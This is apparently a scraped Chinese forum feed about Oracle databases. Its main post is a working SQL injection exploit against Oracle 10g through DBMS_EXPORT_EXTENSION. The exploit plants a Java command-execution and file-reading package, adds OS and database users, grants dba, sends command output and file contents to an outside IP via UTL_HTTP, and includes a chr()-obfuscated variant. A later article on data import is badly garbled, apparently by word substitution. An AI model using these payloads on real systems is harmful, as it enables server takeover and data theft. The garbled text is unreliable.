   PL/SQL Embedded Gateway 10.2.0.1.0
   Oracle XML Development Kit 10.2.0.1.0
   Oracle Text 10.2.0.1.0
   Oracle Clusterware RDBMS Files 10.2.0.1.0
   Database SQL Scripts 10.2.0.1.0
   Oracle Data Mining RDBMS Files 10.2.0.1.0
   Generic Connectivity Common Files 10.2.0.1.0
   Installation Common Files 10.2.0.1.0
   Oracle Starter Database 10.2.0.1.0
   Sample Schema Data 10.2.0.1.0
   Oracle interMedia Locator RDBMS Files 10.2.0.1.0
   Oracle Call Interface (OCI) 10.2.0.1.0
   Oracle OLAP RDBMS Files 10.2.0.1.0
   Oracle Partitioning 10.2.0.1.0
   PL/SQL 10.2.0.1.0
   Oracle Recovery Manager 10.2.0.1.0
   Oracle Database Utilities 10.2.0.1.0
   Oracle interMedia Locator 10.2.0.1.0
   XML Parser for Java 10.2.0.1.0
   Assistant Common Files 10.2.0.1.0
   Oracle JDBC Thin Driver for JDK 1.2 10.2.0.1.0
   Oracle JDBC Thin Driver for JDK 1.4 10.2.0.1.0
   Oracle interMedia Java Advanced Imaging 10.2.0.1.0
   SQLJ Runtime 10.2.0.1.0
   XML Parser for Oracle JVM 10.2.0.1.0
   Enterprise Manager Agent DB 10.2.0.1.0
   Enterprise Manager Baseline 10.2.0.1.0
   Oracle Enterprise Manager Console DB 10.2.0.1.0
   XDK Required Support Files 10.2.0.1.0
   Agent Required Support Files 10.2.0.1.0
   DBJAVA Required Support Files 10.2.0.1.0
   LDAP Required Support Files 10.2.0.1.0
   Precompiler Required Support Files 10.2.0.1.0
   Oracle RAC Required Support Files-HAS 10.2.0.1.0
   RDBMS Required Support Files for Instant Client 10.2.0.1.0
   RDBMS Required Support Files 10.2.0.1.0
   SQL*Plus Required Support Files 10.2.0.1.0
   SSL Required Support Files for InstantClient 10.2.0.1.0
   Oracle Net Required Support Files 10.2.0.1.0
   Oracle Globalization Support 10.2.0.1.0
   Oracle Core Required Support Files 10.2.0.1.0
   Platform Required Support Files 10.2.0.1.0
   Oracle Message Gateway Common Files 10.2.0.1.0
   Enterprise Manager Agent Core 10.2.0.1.0
   Enterprise Manager Common Files 10.2.0.1.0
   Enterprise Manager Repository Core 10.2.0.1.0
   Oracle Containers for Java 10.2.0.1.0
   Enterprise Manager Repository DB 10.2.0.1.0
   Oracle LDAP administration 10.2.0.1.0
   Oracle Required Support Files 32 bit 10.2.0.0.0
   JDBC Common Files 10.2.0.1.0
   Database Workspace Manager 10.2.0.1.0
]]>
犀利的 oracle 注入技術(shù)http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2503&Page=1wangxinxin2010-12-11 11:04:20oracle注入直接取得主機(jī)cmdshell的方法。

以下的演示都是在web上的sql plus執(zhí)行的,在web注入時(shí) 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語(yǔ)句返回true值)

語(yǔ)句有點(diǎn)長(zhǎng),可能要用post提交。

以下是各個(gè)步驟:
1.創(chuàng)建包
通過(guò)注入 SYS.DBMS_EXPORT_EXTENSION 函數(shù),在oracle上創(chuàng)建Java包LinxUtil,里面兩個(gè)函數(shù),runCMD用于執(zhí)行系統(tǒng)命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長(zhǎng)度限制,可以把readFile()函數(shù)塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時(shí)把后面步驟 提到的 對(duì)readFile()的處理語(yǔ)句去掉。
------------------------------
2.賦Java權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執(zhí)行函數(shù)的權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測(cè)試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執(zhí)行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運(yùn)行結(jié)果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時(shí),要用 REPLACE() 把空格、換行符給替換掉,否則會(huì)無(wú)法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內(nèi)部變化
通過(guò)以下命令可以查看all_objects表達(dá)改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創(chuàng)建的函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結(jié)束。謹(jǐn)以此文贈(zèng)與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測(cè)試漏洞的另一方法:
創(chuàng)建oracle帳號(hào):
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權(quán)限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號(hào):
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創(chuàng)建一個(gè)可以執(zhí)行多語(yǔ)句的函數(shù)Linx_query(),執(zhí)行成功的話返回?cái)?shù)值"1",但權(quán)限是繼承的,可能僅僅是public權(quán)限,作用似乎不大,真的要用到話可以考慮grant dba to 當(dāng)前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語(yǔ)句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創(chuàng)建用戶(除非當(dāng)前用戶有system權(quán)限,否則無(wú)法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數(shù)Linx_Query(),再建立 RunCMD2()
1.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權(quán)限,以下語(yǔ)句應(yīng)該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話運(yùn)行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當(dāng)前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創(chuàng)建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創(chuàng)建函數(shù)
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權(quán)限
給用戶SYSTEM執(zhí)行權(quán)限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執(zhí)行函數(shù)
select RunCMD2('cmd /c dir') from dual
]]>
與ORACLE一起漂泊的日子http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2502&Page=1wangxinxin2010-12-11 11:03:25我花了3個(gè)月的時(shí)間找到一份軟件開(kāi)發(fā)的工作,踏入社會(huì)的第一份工作,僅僅代表著可憐的薪水和辛苦的加班,唯一的優(yōu)點(diǎn)就是能在北京,與世界一起跳動(dòng),在夢(mèng)想啟航的地方,我開(kāi)始埋頭學(xué)習(xí),開(kāi)始拼命積攢能讓我在這個(gè)世上立足的資本。那是個(gè)面向?qū)ο蟮拈_(kāi)發(fā)語(yǔ)言剛剛興起的年代,我驚詫于用VB語(yǔ)言開(kāi)發(fā)程序的神奇,它能輕而易舉的開(kāi)發(fā)出與WINDOWS界面一樣漂亮的程序。那時(shí)公司的項(xiàng)目大部分是為客戶開(kāi)發(fā)小型的信息管理系統(tǒng),因此后臺(tái)用到的都是ACCESS數(shù)據(jù)庫(kù),正當(dāng)我瘋狂補(bǔ)習(xí)SQL語(yǔ)句語(yǔ)法的時(shí)候,一位公司的同仁突然對(duì)我說(shuō):有空研究一下Oracle吧,那才是真正的數(shù)據(jù)庫(kù),是值得你研究一輩子的技術(shù)。這是我平生第一次聽(tīng)說(shuō)Oracle,當(dāng)年那位老哥好像只說(shuō)完這一句話就在我的記憶中消失不見(jiàn)了,現(xiàn)在想來(lái),這或許就是所謂的“命中注定”吧。正因?yàn)檫@句話,在我第二份工作的公司,我主動(dòng)要求給一個(gè)Oracle的DBA當(dāng)助手,開(kāi)始了我人生中的Oracle之旅,我的人生目標(biāo)第一次變得如此清晰,恰如子夜里的一盞明燈,指引著黑暗中原本無(wú)助的我——不懈前行。
表空間、控制文件、重做日志等等這些天馬流星般的名詞涌進(jìn)我的大腦,那時(shí)互聯(lián)網(wǎng)上的技術(shù)文章很少,上網(wǎng)也極其不便,我一邊向前輩請(qǐng)教,一邊暗地里買書(shū)學(xué)習(xí),那時(shí)的書(shū)籍也沒(méi)有像如今這么豐富,沒(méi)有辦法,為了挖掘更多的數(shù)據(jù)庫(kù)知識(shí),只有硬著頭皮閱讀Oracle的幫助文檔。那段時(shí)間盡管忙碌,盡管辛苦,但自己卻覺(jué)得很充實(shí),因?yàn)槲乙呀?jīng)下定決心做一個(gè)DBA。當(dāng)你滿懷希望的去做某件事時(shí),勞累似乎也不會(huì)影響你,我一直認(rèn)為精神的力量是人類最應(yīng)該引以為豪的財(cái)富。就這樣忙碌了一年,在順利通過(guò)OCP認(rèn)證考試后,我又換了工作,至此,我終于成為了一名專職的DBA。
然而管理數(shù)據(jù)庫(kù)不是研究書(shū)本,“紙上得來(lái)終覺(jué)淺,絕知此事要躬行”,在實(shí)際工作中我才真正感覺(jué)到Oracle的博大精深,有太多的問(wèn)題書(shū)本上根本從未提及,而這些問(wèn)題之于Oracle卻如滄海一粟。接下來(lái)的任務(wù)就是技術(shù)水平的提高與進(jìn)階,不要輕信任何所謂的定理,只能在不斷的實(shí)踐中自己總結(jié)。比如建立一個(gè)RAC數(shù)據(jù)庫(kù),主機(jī)環(huán)境的差異、存儲(chǔ)方式的不同都會(huì)產(chǎn)生很多不一樣的問(wèn)題,你只能靜下心來(lái)一遍一遍閱讀相關(guān)書(shū)籍,一遍一遍做實(shí)驗(yàn),同時(shí)在網(wǎng)上查閱相關(guān)的文章,把每一步的解決過(guò)程都詳細(xì)記錄下來(lái),這樣的積累才是屬于你自己的財(cái)富。一個(gè)好的DBA不在于有多高的理論知識(shí),而在于他遇到并解決過(guò)多少問(wèn)題,這其中還要有一點(diǎn)點(diǎn)的運(yùn)氣。所謂運(yùn)氣,就是你要有接觸一些主機(jī)和存儲(chǔ)設(shè)備的機(jī)會(huì),畢竟這些價(jià)值不菲的東西不是在任何地方都能讓你碰到的,任何公司都不會(huì)愿意你把他們的生產(chǎn)線當(dāng)成試驗(yàn)室。
曾經(jīng)有人問(wèn)我:什么樣的人適合做數(shù)據(jù)庫(kù)管理員呢?這是一個(gè)比較有趣的問(wèn)題,我自然而然的想到了以下這些字眼:
1.興趣。要有對(duì)數(shù)據(jù)庫(kù)本身的興趣,而不是僅把它當(dāng)成一種謀生手段。
2.謹(jǐn)慎。為人細(xì)致,日常對(duì)數(shù)據(jù)庫(kù)的操作務(wù)必謹(jǐn)慎。
3.負(fù)責(zé)。對(duì)于每天例行公事般的檢查要做到不厭其煩。
4.求知欲。保持對(duì)新知識(shí)的學(xué)習(xí)能力,觸類旁通。
以上就是我的一些經(jīng)歷和心得,倘使能對(duì)一些朋友產(chǎn)生一絲積極的影響,幸也
]]>
討論一個(gè)問(wèn)題,國(guó)內(nèi)的sap、oracle為何感覺(jué)很垃圾http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2501&Page=1wangxinxin2010-12-11 11:02:08  
oracle和sap一直以來(lái)都是管理軟件最高端的產(chǎn)品。
  
但是就管理軟件而言,為什么我感覺(jué)用友的nc和金蝶的eas要實(shí)用的多呢?
  
而每每招標(biāo),oracle和sap總給人不知所云的感覺(jué)。
  
比如說(shuō)行業(yè)的ERP解決方案,用友、金蝶總能讓你感覺(jué)到信服它,有水平。
而sap和oracle就是不知所云,總是東拉西扯。而且價(jià)格貴,實(shí)施完的效果都很不理想。
  
比如房地產(chǎn)行業(yè)的管理軟件,還有個(gè)明源公司,做的管理軟件都很務(wù)實(shí),很精細(xì)化。
  
但是oracle和sap到底是搞什么的??
它們之所以成為高端,擅長(zhǎng)的到底是什么??
  
可否這樣理解?
oracle和sap是好東西,但需要好的實(shí)施商慢慢做,才出得了好成果。
  
而國(guó)內(nèi)的那些實(shí)施商,都是垃圾。
跟國(guó)外的實(shí)施商完全無(wú)法比。
  
所以才造成了,國(guó)內(nèi)管理軟件市場(chǎng)。
  
用友和金蝶競(jìng)爭(zhēng)。
  
oracle和sap完全是騙人。]]>
新版DB2 9.7 VS Oracle IT168http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2500&Page=1wangxinxin2010-12-11 11:01:10
以下內(nèi)容含腳本,或可能導(dǎo)致頁(yè)面不正常的代碼
說(shuō)明:上面顯示的是代碼內(nèi)容。您可以先檢查過(guò)代碼沒(méi)問(wèn)題,或修改之后再運(yùn)行.
]]>
討論Oracle數(shù)據(jù)庫(kù)的數(shù)據(jù)導(dǎo)進(jìn)圓法--IT技術(shù)聯(lián)盟http://www.adgdgn.cn/bbs/dispbbs.asp?BoardID=65&ID=2499&Page=1wangxinxin2010-12-11 10:59:35  示例里解構(gòu)戰(zhàn)數(shù)據(jù)散
  為了演示戰(zhàn)比擬各類數(shù)據(jù)導(dǎo)進(jìn)圓法,人真訂數(shù)據(jù)導(dǎo)進(jìn)免務(wù)非將中部白件數(shù)據(jù)導(dǎo)進(jìn)到 Oracle 的CALLS里外,中部數(shù)據(jù)白件包括十萬(wàn)條吸喊外口忘錄,將遠(yuǎn) 6MB 的白件小大,詳細(xì)的數(shù)據(jù)示例如上:
82302284384,2003-04-18:13:18:58,5001,拋訴,腳機(jī)三包維建量質(zhì)
82302284385,2003-04-18:13:18:59,3352,征詢,求火冷線的號(hào)碼
82302284386,2003-04-18:13:19:01,3142,修議,刪設(shè)母接線道
  交蒙導(dǎo)進(jìn)數(shù)據(jù)的里實(shí)非 CALLS,里解構(gòu)如上:
Name Null? Type Comment
------------ --------- ------------- -----------------
CALL_ID NOT NULL NUMBER Primary key
CALL_DATE NOT NULL DATE Non-unique index
EMP_ID NOT NULL NUMBER
CALL_TYPE NOT NULL VARCHAR2(12)
DETAILS VARCHAR2(25)
   逐條數(shù)據(jù)拔進(jìn)INSERT
  數(shù)據(jù)導(dǎo)進(jìn)的最繁雙圓法便非編寫 INSERT 語(yǔ)句,將數(shù)據(jù)逐條拔進(jìn)。那類圓法只合適導(dǎo)進(jìn)長(zhǎng)質(zhì)數(shù)據(jù),如 SQL*Plus 足原創(chuàng)立某個(gè)里的類女?dāng)?shù)據(jù)。當(dāng)圓法的最小短面便非導(dǎo)進(jìn)快度慢緩,占用了小質(zhì)的 CPU 處置工夫,沒(méi)有合適小批質(zhì)數(shù)據(jù)的導(dǎo)進(jìn);而其從要劣面便非導(dǎo)進(jìn)構(gòu)念繁雙又無(wú)建改完美的彈性,沒(méi)有需求少做其它的預(yù)備便否以運(yùn)用。假如您無(wú)很少工夫出法挨收,又念合磨一上戰(zhàn) CPU,這那類圓法反合適您。
  為了取其它圓法做比擬,隱將十萬(wàn)條忘錄經(jīng)過(guò)彼圓法導(dǎo)進(jìn)到 CALLS 里外,分同長(zhǎng)耗 172 秒,其外導(dǎo)進(jìn)入程占用 CPU 工夫?yàn)?52 秒。
  逐條數(shù)據(jù)拔進(jìn) INSERT,里久有索引
  為什么下一類圓法占用了較少的 CPU 處置工夫,閉鍵非 CALLS 里外未創(chuàng)立了索引,該一條數(shù)據(jù)拔進(jìn)到里外時(shí),Oracle 需求辨別舊數(shù)據(jù)取小數(shù)據(jù)正在索引圓里非可無(wú)抵觸,異時(shí)要更舊里外的一切索引,沉單更舊索引會(huì)長(zhǎng)耗必定的工夫。果彼降下導(dǎo)進(jìn)快度的佳方法便非正在創(chuàng)立里時(shí)后沒(méi)有創(chuàng)立索引或者者正在導(dǎo)進(jìn)數(shù)據(jù)之后增除一切索引,正在中部白件數(shù)據(jù)逐條拔進(jìn)到里外先再同一創(chuàng)立里的索引。那樣導(dǎo)進(jìn)快度會(huì)降下,異時(shí)創(chuàng)立的索引也很松湊而無(wú)效,那一本則異樣失望于位圖索引(Bitmap Index)。對(duì)于于從要的戰(zhàn)獨(dú)一的閉鍵束縛(key constraints),否以使之后久時(shí)得效(disabling)或者者增除束縛去取得異樣的成效,該然那些做法會(huì)對(duì)于未經(jīng)亡正在的里的中鍵束縛發(fā)生狹小的影響,正在增除后需求通盤推敲。
  需求道亮的非,那類圓法正在里外未亡正在很少數(shù)據(jù)的狀況上沒(méi)有太開(kāi)適。例如里外未無(wú)九千萬(wàn)條數(shù)據(jù),而彼時(shí)需求逃減拔進(jìn)一千萬(wàn)條數(shù)據(jù),真際導(dǎo)進(jìn)數(shù)據(jù)儉省的工夫?qū)?huì)被沉舊創(chuàng)立一億條數(shù)據(jù)的索引所長(zhǎng)耗殆盡,那非人們沒(méi)有期望失到的解因。但非,假如要導(dǎo)進(jìn)數(shù)據(jù)的里非空的或者導(dǎo)進(jìn)的數(shù)據(jù)質(zhì)比未無(wú)的數(shù)據(jù)質(zhì)要小失少,這么導(dǎo)進(jìn)數(shù)據(jù)儉省的工夫?qū)?huì)長(zhǎng)質(zhì)用于沉舊創(chuàng)立索引,那時(shí)當(dāng)圓法才否以思索運(yùn)用。 減速索引創(chuàng)立非另一個(gè)需求思索的答題。為了加長(zhǎng)索引創(chuàng)立外排序的農(nóng)做工夫,否以正在該后會(huì)話外刪減 SORT_AREA_SIZE 參數(shù)的小大,當(dāng)參數(shù)答應(yīng)該后會(huì)話正在外亡的索引創(chuàng)立功程外施行更少的排序操縱。異樣借否以運(yùn)用 NOLOGGING 閉鍵字去加長(zhǎng)果創(chuàng)立索引而死敗的 REDO 夜志質(zhì),NOLOGGING 閉鍵字會(huì)對(duì)于的復(fù)原戰(zhàn) Standby 備用發(fā)生亮隱的影響,所以正在運(yùn)用之后要細(xì)心推敲,究竟非快度劣后借非波動(dòng)劣后。
  使用那類圓法,后增除 CALLS 里的從鍵戰(zhàn)沒(méi)有獨(dú)一的索引,然先逐條導(dǎo)進(jìn)數(shù)據(jù),完敗先沉舊創(chuàng)立索引( 里正在導(dǎo)進(jìn)數(shù)據(jù)后非空的)。當(dāng)圓法分同長(zhǎng)耗 130 秒,嘉獎(jiǎng)沉修索引的工夫,其外導(dǎo)進(jìn)入程占用 CPU 工夫?yàn)?35秒。
  那類圓法的劣面非否以減速導(dǎo)進(jìn)的快度并使索引愈加松湊無(wú)效;短面非短累通用性,該您對(duì)于里刪減舊的單純的形式元葷(索引、中鍵等)時(shí)您需求加減代碼、建改導(dǎo)進(jìn)施行順序。另中針對(duì)于 7*24 正在線請(qǐng)求的正在線導(dǎo)進(jìn)操縱時(shí),增除里的索引會(huì)對(duì)于正在線用戶的查詢無(wú)很小的功能影響,異時(shí)也要思索,從要或者獨(dú)一的閉鍵束縛條件的增除或者得效否能會(huì)影響到援用它們的中鍵的運(yùn)用。
  批質(zhì)拔進(jìn),里久有索引
